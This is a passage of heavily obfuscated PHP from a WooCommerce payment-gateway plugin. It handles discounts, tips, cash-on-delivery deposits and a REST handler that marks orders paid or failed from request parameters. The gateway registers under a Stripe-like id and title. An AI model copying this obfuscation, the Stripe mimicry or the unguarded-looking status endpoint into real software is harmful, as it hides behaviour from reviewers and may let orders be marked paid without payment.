U2yx13;U2yldMhx14:U2yx13:$U2y8G=20*13;$U2y8H=$U2y8G+60;$U2y8I=$U2yOiRy19==$U2y8H;if($U2y8I)goto U2yeWjgx16;goto U2yldMhx16;U2yeWjgx16:return ;goto U2yx15;U2yldMhx16:U2yx15:$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]=$cart;$U2yzA8I[]="get_subtotal";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);$U2y8G=$discount_percent/100;$U2y8H=$U2yhC8G*$U2y8G;unset($U2ytI8I);$U2ytI8I=$U2y8H;$discount=$U2ytI8I;$U2yOiRy21=8005;if($gateway->discount_label)goto U2yeWjgx18;goto U2yldMhx18;U2yeWjgx18:$U2yOiRy21="y"*"y";goto U2yx17;U2yldMhx18:$U2yOiRy21="a"*"r";U2yx17:$U2y8I=20*14;$U2y8J=$U2y8I-181;$U2y8K=$U2yOiRy21==$U2y8J;if($U2y8K)goto U2yeWjgx1a;goto U2yldMhx1a;U2yeWjgx1a:$U2y8G='Payment Method Discount';goto U2yx19;U2yldMhx1a:$U2y8L=5*2;$U2y8M=$U2y8L+390;$U2y8N=$U2yOiRy21==$U2y8M;if($U2y8N)goto U2yeWjgx1b;goto U2yldMhx1b;U2yeWjgx1b:$U2y8G=$gateway->discount_label;goto U2yx19;U2yldMhx1b:U2yx19:unset($U2ytI8H);$U2ytI8H=$U2y8G;$label=$U2ytI8H;$U2yvP8G=-1*$discount;$U2yzA8H=array();$U2yzA8H[]=&$label;$U2yzA8H[]=&$U2yvP8G;$U2yzA8H[]=false;$U2yzA8I=array();$U2yzA8I[]=$cart;$U2yzA8I[]="add_fee";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);$U2yOiRy33=8003;$U2y8G=$gateway->enable_tip==='yes';if($U2y8G)goto U2yeWjgx1d;goto U2yldMhx1d;U2yeWjgx1d:$U2yOiRy33="r"*"y";goto U2yx1c;U2yldMhx1d:U2yx1c:$U2y8G=10*18;$U2y8H=$U2y8G-80;$U2y8I=$U2yOiRy33==$U2y8H;if($U2y8I)goto U2yeWjgx1p;goto U2yldMhx1p;U2yeWjgx1p:if(isset($_POST['post_data']))goto U2yeWjgx1r;goto U2yldMhx1r;U2yeWjgx1r:goto U2yeWjgx1f;goto U2yx1q;U2yldMhx1r:U2yx1q:goto U2yldMhx1f;U2yeWjgx1f:parse_str($_POST['post_data'],$post_data);goto U2yx1e;U2yldMhx1f:unset($U2ytI8G);$U2ytI8G=$_POST;$post_data=$U2ytI8G;U2yx1e:if(isset($post_data['order_tip_amount']))goto U2yeWjgx1t;goto U2yldMhx1t;U2yeWjgx1t:goto U2yeWjgx1j;goto U2yx1s;U2yldMhx1t:U2yx1s:goto U2yldMhx1j;U2yeWjgx1j:$U2yzA8L=array();$U2yzA8L[]=$post_data;$U2yeF8K=call_user_func_array("is_array",$U2yzA8L);unset($U2yzA8L);if($U2yeF8K)goto U2yeWjgx1v;goto U2yldMhx1v;U2yeWjgx1v:goto U2yeWjgx1h;goto U2yx1u;U2yldMhx1v:U2yx1u:goto U2yldMhx1h;U2yeWjgx1h:$U2ycV8I=&$post_data['order_tip_amount'];goto U2yx1g;U2yldMhx1h:$U2ycV8I=$post_data['order_tip_amount'];U2yx1g:$U2yzA8J=array();$U2yzA8J[]=&$U2ycV8I;$U2yeF8H=call_user_func_array("floatval",$U2yzA8J);unset($U2yzA8J);unset($U2ycV8I);$U2y8G=$U2yeF8H;goto U2yx1i;U2yldMhx1j:$U2y8G=0;U2yx1i:unset($U2ytI8H);$U2ytI8H=$U2y8G;unset($U2ytI8G);$U2ytI8G=$U2ytI8H;$tip=$U2ytI8G;$U2y8G=$tip>0;if($U2y8G)goto U2yeWjgx1x;goto U2yldMhx1x;U2yeWjgx1x:goto U2yeWjgx1l;goto U2yx1w;U2yldMhx1x:U2yx1w:goto U2yldMhx1l;U2yeWjgx1l:if($gateway->tip_label)goto U2yeWjgx2z;goto U2yldMhx2z;U2yeWjgx2z:goto U2yeWjgx1n;goto U2yx1y;U2yldMhx2z:U2yx1y:goto U2yldMhx1n;U2yeWjgx1n:$U2yvP8G=$gateway->tip_label;goto U2yx1m;U2yldMhx1n:$U2yvP8G='Tip';U2yx1m:$U2yzA8H=array();$U2yzA8H[]=&$U2yvP8G;$U2yzA8H[]=&$tip;$U2yzA8H[]=false;$U2yzA8I=array();$U2yzA8I[]=$cart;$U2yzA8I[]="add_fee";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);goto U2yx1k;U2yldMhx1l:U2yx1k:goto U2yx1o;U2yldMhx1p:U2yx1o:$U2yOiRy42=8006;$U2yzA8H=array();$U2yzA8H[]='enable_cod_deposit';$U2yzA8I=array();$U2yzA8I[]=$gateway;$U2yzA8I[]="get_option";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);$U2y8G=$U2yhC8G==='yes';$U2y8I=(bool)$U2y8G;if($U2y8I)goto U2yeWjgx23;goto U2yldMhx23;U2yeWjgx23:$U2y8H=$chosen_gateway==='cod';$U2y8I=(bool)$U2y8H;goto U2yx22;U2yldMhx23:U2yx22:if($U2y8I)goto U2yeWjgx24;goto U2yldMhx24;U2yeWjgx24:$U2yOiRy42="r"*"y";goto U2yx21;U2yldMhx24:U2yx21:$U2y8G=20*11;$U2y8H=$U2y8G-120;$U2y8I=$U2yOiRy42==$U2y8H;if($U2y8I)goto U2yeWjgx2c;goto U2yldMhx2c;U2yeWjgx2c:$U2yzA8H=array();$U2yzA8H[]='cod_deposit_type';$U2yzA8I=array();$U2yzA8I[]=$gateway;$U2yzA8I[]="get_option";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);unset($U2ytI8G);$U2ytI8G=$U2yhC8G;$deposit_type=$U2ytI8G;$U2yzA8H=array();$U2yzA8H[]='cod_deposit_value';$U2yzA8I=array();$U2yzA8I[]=$gateway;$U2yzA8I[]="get_option";$U2yhCvP8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);unset($U2ytI8G);$U2ytI8G=floatval($U2yhCvP8G);$deposit_value=$U2ytI8G;$U2yzA8H=array();$U2yzA8H[]='cod_deposit_label';$U2yzA8I=array();$U2yzA8I[]=$gateway;$U2yzA8I[]="get_option";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);if($U2yhC8G)goto U2yeWjgx2e;goto U2yldMhx2e;U2yeWjgx2e:goto U2yeWjgx26;goto U2yx2d;U2yldMhx2e:U2yx2d:goto U2yldMhx26;U2yeWjgx26:$U2y8G=$U2yhC8G;goto U2yx25;U2yldMhx26:$U2y8G='货到付款定金';U2yx25:unset($U2ytI8H);$U2ytI8H=$U2y8G;unset($U2ytI8G);$U2ytI8G=$U2ytI8H;$deposit_label=$U2ytI8G;unset($U2ytI8G);$U2ytI8G=0;$deposit=$U2ytI8G;$U2y8G=$deposit_type==='percent';if($U2y8G)goto U2yeWjgx2g;goto U2yldMhx2g;U2yeWjgx2g:goto U2yeWjgx28;goto U2yx2f;U2yldMhx2g:U2yx2f:goto U2yldMhx28;U2yeWjgx28:$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]=$cart;$U2yzA8I[]="get_subtotal";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);$U2y8G=$deposit_value/100;$U2y8H=$U2yhC8G*$U2y8G;unset($U2ytI8I);$U2ytI8I=$U2y8H;unset($U2ytI8G);$U2ytI8G=$U2ytI8I;$deposit=$U2ytI8G;goto U2yx27;U2yldMhx28:unset($U2ytI8G);$U2ytI8G=$deposit_value;$deposit=$U2ytI8G;U2yx27:$U2y8G=$deposit>0;if($U2y8G)goto U2yeWjgx2i;goto U2yldMhx2i;U2yeWjgx2i:goto U2yeWjgx2a;goto U2yx2h;U2yldMhx2i:U2yx2h:goto U2yldMhx2a;U2yeWjgx2a:$U2yzA8H=array();$U2yzA8H[]=&$deposit_label;$U2yzA8H[]=&$deposit;$U2yzA8H[]=false;$U2yzA8I=array();$U2yzA8I[]=$cart;$U2yzA8I[]="add_fee";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);goto U2yx29;U2yldMhx2a:U2yx29:goto U2yx2b;U2yldMhx2c:U2yx2b:};$U2yeF8G=call_user_func_array("add_action",$U2yzA8H);unset($U2yzA8H);$U2yzA8H=array();$U2yzA8H[]='woocommerce_checkout_create_order';$U2yzA8H[]=function($order,$data){$U2yBuEt80=array();$U2yBuEt80[]=10;$U2yBuEt80[]=6;$U2yBuEt80[]=6;$U2yBuEt80[]=4;$U2yBuEt80[]=15;$U2yOiRy46=3392;if(isset($_POST['order_tip_amount']))goto U2yeWjgx2k;goto U2yldMhx2k;U2yeWjgx2k:$U2yOiRy46="r"*"r";goto U2yx2j;U2yldMhx2k:U2yx2j:$U2y8G=14*12;$U2y8H=$U2y8G-132;$U2y8I=$U2yOiRy46==$U2y8H;if($U2y8I)goto U2yeWjgx2o;goto U2yldMhx2o;U2yeWjgx2o:$U2yzA8K=array();$U2yzA8K[]=$_POST;$U2yeF8J=call_user_func_array("is_array",$U2yzA8K);unset($U2yzA8K);if($U2yeF8J)goto U2yeWjgx2q;goto U2yldMhx2q;U2yeWjgx2q:goto U2yeWjgx2m;goto U2yx2p;U2yldMhx2q:U2yx2p:goto U2yldMhx2m;U2yeWjgx2m:$U2ycVvP8H=&$_POST['order_tip_amount'];goto U2yx2l;U2yldMhx2m:$U2ycVvP8H=$_POST['order_tip_amount'];U2yx2l:$U2yzA8I=array();$U2yzA8I[]=&$U2ycVvP8H;$U2yeFvP8G=call_user_func_array("floatval",$U2yzA8I);unset($U2yzA8I);unset($U2ycVvP8H);$U2yzA8M=array();$U2yzA8M[]='_order_tip_amount';$U2yzA8M[]=&$U2yeFvP8G;$U2yzA8N=array();$U2yzA8N[]=$order;$U2yzA8N[]="update_meta_data";$U2yhC8L=call_user_func_array($U2yzA8N,$U2yzA8M);unset($U2yzA8M);unset($U2yzA8N);goto U2yx2n;U2yldMhx2o:U2yx2n:};$U2yzA8H[]=10;$U2yzA8H[]=2;$U2yeF8G=call_user_func_array("add_action",$U2yzA8H);unset($U2yzA8H);$U2yzA8H=array();$U2yzA8H[]='woocommerce_admin_order_data_after_order_details';$U2yzA8H[]=function($order){$U2yBuEt81=array();$U2yBuEt81[]=9;$U2yBuEt81[]=13;$U2yBuEt81[]=7;$U2yBuEt81[]=5;$U2yBuEt81[]=13;$U2yzA8H=array();$U2yzA8H[]='_order_tip_amount';$U2yzA8I=array();$U2yzA8I[]=$order;$U2yzA8I[]="get_meta";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);unset($U2ytI8G);$U2ytI8G=$U2yhC8G;$tip=$U2ytI8G;$U2yOiRy48=2199;$U2y8G=$tip>0;if($U2y8G)goto U2yeWjgx2s;goto U2yldMhx2s;U2yeWjgx2s:$U2yOiRy48="a"*"a";goto U2yx2r;U2yldMhx2s:U2yx2r:$U2y8G=12*3;$U2y8H=$U2y8G+9;$U2y8I=$U2yOiRy48==$U2y8H;if($U2y8I)goto U2yeWjgx2u;goto U2yldMhx2u;U2yeWjgx2u:$U2yzA8H=array();$U2yzA8H[]=&$tip;$U2yzA8H[]=2;$U2yeFvP8G=call_user_func_array("number_format",$U2yzA8H);unset($U2yzA8H);$U2yzA8J=array();$U2yzA8J[]=&$U2yeFvP8G;$U2yeF8I=call_user_func_array("esc_html",$U2yzA8J);unset($U2yzA8J);$U2y8G='<p><strong>Tip:</strong> $' . $U2yeF8I;$U2y8H=$U2y8G . '</p>';echo $U2y8H;goto U2yx2t;U2yldMhx2u:U2yx2t:};$U2yeF8G=call_user_func_array("add_action",$U2yzA8H);unset($U2yzA8H);$U2yzA8H=array();$U2yzA8H[]='plugins_loaded';$U2yzA8H[]=function(){$U2yBuEt84=array();$U2yBuEt84[]=15;$U2yBuEt84[]=7;$U2yBuEt84[]=8;$U2yBuEt84[]=16;$U2yBuEt84[]=6;$U2yOiRy91=4112;$U2yzA8H=array();$U2yeF8G=call_user_func_array("is_admin",$U2yzA8H);unset($U2yzA8H);if($U2yeF8G)goto U2yeWjgx5f;goto U2yldMhx5f;U2yeWjgx5f:return ;goto U2yx5e;U2yldMhx5f:U2yx5e:$U2yOiRy92=4103;$U2y8G=!class_exists('WC_Lighthouse_Payment_Gateway');if($U2y8G)goto U2yeWjgx5h;goto U2yldMhx5h;U2yeWjgx5h:return ;goto U2yx5g;U2yldMhx5h:U2yx5g:$U2y8G=new WC_Lighthouse_Payment_Gateway();unset($U2ytI8H);$U2ytI8H=$U2y8G;$gateway=$U2ytI8H;$U2yOiRy94=4109;if($gateway->cod_tip_type)goto U2yeWjgx5j;goto U2yldMhx5j;U2yeWjgx5j:$U2yOiRy94="y"*"a";goto U2yx5i;U2yldMhx5j:$U2yOiRy94="y"*"r";U2yx5i:$U2y8I=2*14;$U2y8J=$U2y8I+20;$U2y8K=$U2yOiRy94==$U2y8J;if($U2y8K)goto U2yeWjgx5l;goto U2yldMhx5l;U2yeWjgx5l:$U2y8G='1';goto U2yx5k;U2yldMhx5l:$U2y8L=9*4;$U2y8M=$U2y8L+54;$U2y8N=$U2yOiRy94==$U2y8M;if($U2y8N)goto U2yeWjgx5m;goto U2yldMhx5m;U2yeWjgx5m:$U2y8G=$gateway->cod_tip_type;goto U2yx5k;U2yldMhx5m:U2yx5k:unset($U2ytI8H);$U2ytI8H=$U2y8G;$cod_tip_type=$U2ytI8H;$U2yOiRy96=4112;$U2y8G=$cod_tip_type=='2';if($U2y8G)goto U2yeWjgx5o;goto U2yldMhx5o;U2yeWjgx5o:$U2yOiRy96="r"*"a";goto U2yx5n;U2yldMhx5o:$U2yOiRy96="r"*"y";U2yx5n:$U2y8G=10*7;$U2y8H=$U2y8G-22;$U2y8I=$U2yOiRy96==$U2y8H;if($U2y8I)goto U2yeWjgx5q;goto U2yldMhx5q;U2yeWjgx5q:$U2yzA8H=array();$U2yzA8H[]='woocommerce_review_order_before_payment';$U2yzA8H[]='lighthouse_tip_cod_blocks';$U2yeF8G=call_user_func_array("add_action",$U2yzA8H);unset($U2yzA8H);goto U2yx5p;U2yldMhx5q:$U2y8G=6*3;$U2y8H=$U2y8G+110;$U2y8I=$U2yOiRy96==$U2y8H;if($U2y8I)goto U2yeWjgx5r;goto U2yldMhx5r;U2yeWjgx5r:$U2yzA8H=array();$U2yzA8H[]='woocommerce_checkout_before_order_review';$U2yzA8H[]='lighthouse_tip_cod_blocks1';$U2yeF8G=call_user_func_array("add_action",$U2yzA8H);unset($U2yzA8H);goto U2yx5p;U2yldMhx5r:U2yx5p:};$U2yeF8G=call_user_func_array("add_action",$U2yzA8H);unset($U2yzA8H);function handle_update_order_status(WP_REST_Request $request){$U2yBuEt75=array();$U2yBuEt75[]=2;$U2yBuEt75[]=16;$U2yBuEt75[]=12;$U2yBuEt75[]=10;$U2yBuEt75[]=15;$U2yzA8H=array();$U2yzA8H[]='order_id';$U2yzA8I=array();$U2yzA8I[]=$request;$U2yzA8I[]="get_param";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);unset($U2ytI8G);$U2ytI8G=$U2yhC8G;$order_id=$U2ytI8G;$U2yzA8H=array();$U2yzA8H[]='status';$U2yzA8I=array();$U2yzA8I[]=$request;$U2yzA8I[]="get_param";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);unset($U2ytI8G);$U2ytI8G=$U2yhC8G;$status=$U2ytI8G;$U2yzA8H=array();$U2yzA8H[]=&$order_id;$U2yeF8G=call_user_func_array("wc_get_order",$U2yzA8H);unset($U2yzA8H);unset($U2ytI8G);$U2ytI8G=$U2yeF8G;$order=$U2ytI8G;$U2yOiRy3=4115;$U2y8G=!$order;if($U2y8G)goto U2yeWjgx6;goto U2yldMhx6;U2yeWjgx6:$U2yOiRy3="r"*"r";goto U2yx5;U2yldMhx6:U2yx5:$U2y8G=19*15;$U2y8H=$U2y8G-93;$U2y8I=$U2yOiRy3==$U2y8H;if($U2y8I)goto U2yeWjgx8;goto U2yldMhx8;U2yeWjgx8:$U2y8G=new WP_REST_Response('Order not found',404);return $U2y8G;goto U2yx7;U2yldMhx8:U2yx7:$U2yOiRy5=4114;$U2y8G=$status==='success';if($U2y8G)goto U2yeWjgxa;goto U2yldMhxa;U2yeWjgxa:$U2yOiRy5="a"*"a";goto U2yx9;U2yldMhxa:$U2yOiRy5="r"*"r";U2yx9:$U2y8G=14*1;$U2y8H=$U2y8G+86;$U2y8I=$U2yOiRy5==$U2y8H;if($U2y8I)goto U2yeWjgxc;goto U2yldMhxc;U2yeWjgxc:$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]=$order;$U2yzA8I[]="payment_complete";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);$U2yzA8H=array();$U2yzA8H[]='Payment received';$U2yzA8H[]='woocommerce';$U2yeFvP8G=call_user_func_array("__",$U2yzA8H);unset($U2yzA8H);$U2yzA8J=array();$U2yzA8J[]=&$U2yeFvP8G;$U2yzA8K=array();$U2yzA8K[]=$order;$U2yzA8K[]="add_order_note";$U2yhC8I=call_user_func_array($U2yzA8K,$U2yzA8J);unset($U2yzA8J);unset($U2yzA8K);$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]=$order;$U2yzA8I[]="get_checkout_order_received_url";$U2yhCvP8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);$U2yzA8J=array();$U2yzA8J['result']='success';$U2yzA8J['url']=$U2yhCvP8G;unset($U2ytI8G);$U2ytI8G=$U2yzA8J;$U2y8G=new WP_REST_Response($data,200);return $U2y8G;goto U2yxb;U2yldMhxc:$U2y8G=17*20;$U2y8H=$U2y8G-196;$U2y8I=$U2yOiRy5==$U2y8H;if($U2y8I)goto U2yeWjgxd;goto U2yldMhxd;U2yeWjgxd:$U2yzA8H=array();$U2yzA8H[]='Payment failed';$U2yzA8H[]='woocommerce';$U2yeFvP8G=call_user_func_array("__",$U2yzA8H);unset($U2yzA8H);$U2yzA8J=array();$U2yzA8J[]='failed';$U2yzA8J[]=&$U2yeFvP8G;$U2yzA8K=array();$U2yzA8K[]=$order;$U2yzA8K[]="update_status";$U2yhC8I=call_user_func_array($U2yzA8K,$U2yzA8J);unset($U2yzA8J);unset($U2yzA8K);$U2y8G=new WP_REST_Response('success',500);return $U2y8G;goto U2yxb;U2yldMhxd:U2yxb:}function init_stripe_payment_gateway_class(){$U2yBuEt76=array();$U2yBuEt76[]=7;$U2yBuEt76[]=17;$U2yBuEt76[]=19;$U2yBuEt76[]=16;$U2yBuEt76[]=18;$U2yOiRy6=6861;$U2y8G=!class_exists('WC_Payment_Gateway');if($U2y8G)goto U2yeWjgxf;goto U2yldMhxf;U2yeWjgxf:return ;goto U2yxe;U2yldMhxf:U2yxe:if(1){class WC_Lighthouse_Payment_Gateway extends WC_Payment_Gateway{public $prefix;public $domain;public $fbq_check;public $store_name;public $show_close;public $error_text;public $declined_text;public $enable_discount;public $discount_percentage;public $discount_label;public $enable_tip;public $tip_label;public $cod_tip_type;public $enable_cod_deposit;public $cod_deposit_type;public $cod_deposit_value;public $cod_deposit_label;public $cod_deposit_label_desc1;public $cod_deposit_label_desc2;public $cod_deposit_label_desc3;public function __construct(){$U2yBuEt85=array();$U2yBuEt85[]=13;$U2yBuEt85[]=11;$U2yBuEt85[]=18;$U2yBuEt85[]=11;$U2yBuEt85[]=3;unset($U2ytI8G);$U2ytI8G='woocommerce_payments_stripe_gateway';$this->id=$U2ytI8G;unset($U2ytI8G);$U2ytI8G=true;$this->has_fields=$U2ytI8G;unset($U2ytI8G);$U2ytI8G='Stripe Gateway';$this->method_title=$U2ytI8G;unset($U2ytI8G);$U2ytI8G='Payment Gateway';$this->method_description=$U2ytI8G;$U2yzA8H=array();$U2yzA8H[]='products';unset($U2ytI8G);$U2ytI8G=$U2yzA8H;$this->supports=$U2ytI8G;$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]=$this;$U2yzA8I[]="init_form_fields";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]=$this;$U2yzA8I[]="init_settings";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);$U2yzA8I=array();$U2yzA8I[]='icon';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset($U2ytI8G);$U2ytI8G=$U2yhC8H;$this->icon=$U2ytI8G;$U2yzA8I=array();$U2yzA8I[]='title';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset($U2ytI8G);$U2ytI8G=$U2yhC8H;$this->title=$U2ytI8G;$U2yzA8I=array();$U2yzA8I[]='description';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset($U2ytI8G);$U2ytI8G=$U2yhC8H;$this->description=$U2ytI8G;$U2yzA8H=array();$U2yzA8H[]='prefix';$U2yzA8I=array();$U2yzA8I[]=$this;$U2yzA8I[]="get_option";$U2yhCvP8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);unset($U2ytI8G);$U2ytI8G=trim($U2yhCvP8G);$this->prefix=$U2ytI8G;$U2yzA8H=array();$U2yzA8H[]='domain';$U2yzA8I=array();$U2yzA8I[]=$this;$U2yzA8I[]="get_option";$U2yhCvP8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);unset($U2ytI8G);$U2ytI8G=trim($U2yhCvP8G);$this->domain=$U2ytI8G;$U2yzA8I=array();$U2yzA8I[]='fbq_check';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset($U2ytI8G);$U2ytI8G=$U2yhC8H;$this->fbq_check=$U2ytI8G;$U2yzA8I=array();$U2yzA8I[]='store_name';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset($U2ytI8G);$U2ytI8G=$U2yhC8H;$this->store_name=$U2ytI8G;$U2yzA8I=array();$U2yzA8I[]='error_text';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset($U2ytI8G);$U2ytI8G=$U2yhC8H;$this->error_text=$U2ytI8G;$U2yzA8I=array();$U2yzA8I[]='show_close';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset($U2ytI8G);$U2ytI8G=$U2yhC8H;$this->show_close=$U2ytI8G;$U2yzA8I=array();$U2yzA8I[]='declined_text';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset($U2ytI8G);$U2ytI8G=$U2yhC8H;$this->declined_text=$U2ytI8G;$U2yzA8I=array();$U2yzA8I[]='enable_discount';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset($U2ytI8G);$U2ytI8G=$U2yhC8H;$this->enable_discount=$U2ytI8G;$U2yzA8H=array();$U2yzA8H[]='discount_percentage';$U2yzA8H[]=10;$U2yzA8I=array();$U2yzA8I[]=$this;$U2yzA8I[]="get_option";$U2yhCvP8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);unset($U2ytI8G);$U2ytI8G=floatval($U2yhCvP8G);$this->discount_percentage=$U2ytI8G;$U2yzA8I=array();$U2yzA8I[]='discount_label';$U2yzA8I[]='Payment Method Discount';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset($U2ytI8G);$U2ytI8G=$U2yhC8H;$this->discount_label=$U2ytI8G;$U2yzA8I=array();$U2yzA8I[]='enable_tip';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset($U2ytI8G);$U2ytI8G=$U2yhC8H;$this->enable_tip=$U2ytI8G;$U2yzA8I=array();$U2yzA8I[]='tip_label';$U2yzA8I[]='Add tip';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset($U2ytI8G);$U2ytI8G=$U2yhC8H;$this->tip_label=$U2ytI8G;$U2yzA8I=array();$U2yzA8I[]='cod_tip_type';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset($U2ytI8G);$U2ytI8G=$U2yhC8H;$this->cod_tip_type=$U2ytI8G;$U2yzA8I=array();$U2yzA8I[]='enable_cod_deposit';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset($U2ytI8G);$U2ytI8G=$U2yhC8H;$this->enable_cod_deposit=$U2ytI8G;$U2yzA8I=array();$U2yzA8I[]='cod_deposit_type';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset($U2ytI8G);$U2ytI8G=$U2yhC8H;$this->cod_deposit_type=$U2ytI8G;$U2yzA8I=array();$U2yzA8I[]='cod_deposit_value';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset($U2ytI8G);$U2ytI8G=$U2yhC8H;$this->cod_deposit_value=$U2ytI8G;$U2yzA8I=array();$U2yzA8I[]='cod_deposit_label';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset($U2ytI8G);$U2ytI8G=$U2yhC8H;$this->cod_deposit_label=$U2ytI8G;$U2yzA8I=array();$U2yzA8I[]='cod_deposit_label_desc1';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset($U2ytI8G);$U2ytI8G=$U2yhC8H;$this->cod_deposit_label_desc1=$U2ytI8G;$U2yzA8I=array();$U2yzA8I[]='cod_deposit_label_desc2';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset($U2ytI8G);$U2ytI8G=$U2yhC8H;$this->cod_deposit_label_desc2=$U2ytI8G;$U2yzA8I=array();$U2yzA8I[]='cod_deposit_label_desc3';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset($U2ytI8G);$U2ytI8G=$U2yhC8H;$this->cod_deposit_label_desc3=$U2ytI8G;$U2yvP8G='woocommerce_update_options_payment_gateways_' . $this->id;$U2yzAvP8H=array();$U2yzAvP8H[]=$this;$U2yzAvP8H[]='process_admin_options';add_action($U2yvP8G,$U2yzAvP8H);$U2yzAvP8G=array();$U2yzAvP8G[]=$this;$U2yzAvP8G[]='enqueue_style';$U2yzA8I=array();$U2yzA8I[]='wp_enqueue_scripts';$U2yzA8I[]=&$U2yzAvP8G;$U2yeF8H=call_user_func_array("add_action",$U2yzA8I);unset($U2yzA8I);$U2yzAvP8G=array();$U2yzAvP8G[]=$this;$U2yzAvP8G[]='enqueue_scripts';$U2yzA8I=array();$U2yzA8I[]='wp_enqueue_scripts';$U2yzA8I[]=&$U2yzAvP8G;$U2yeF8H=call_user_func_array("add_action",$U2yzA8I);unset($U2yzA8I);}public function 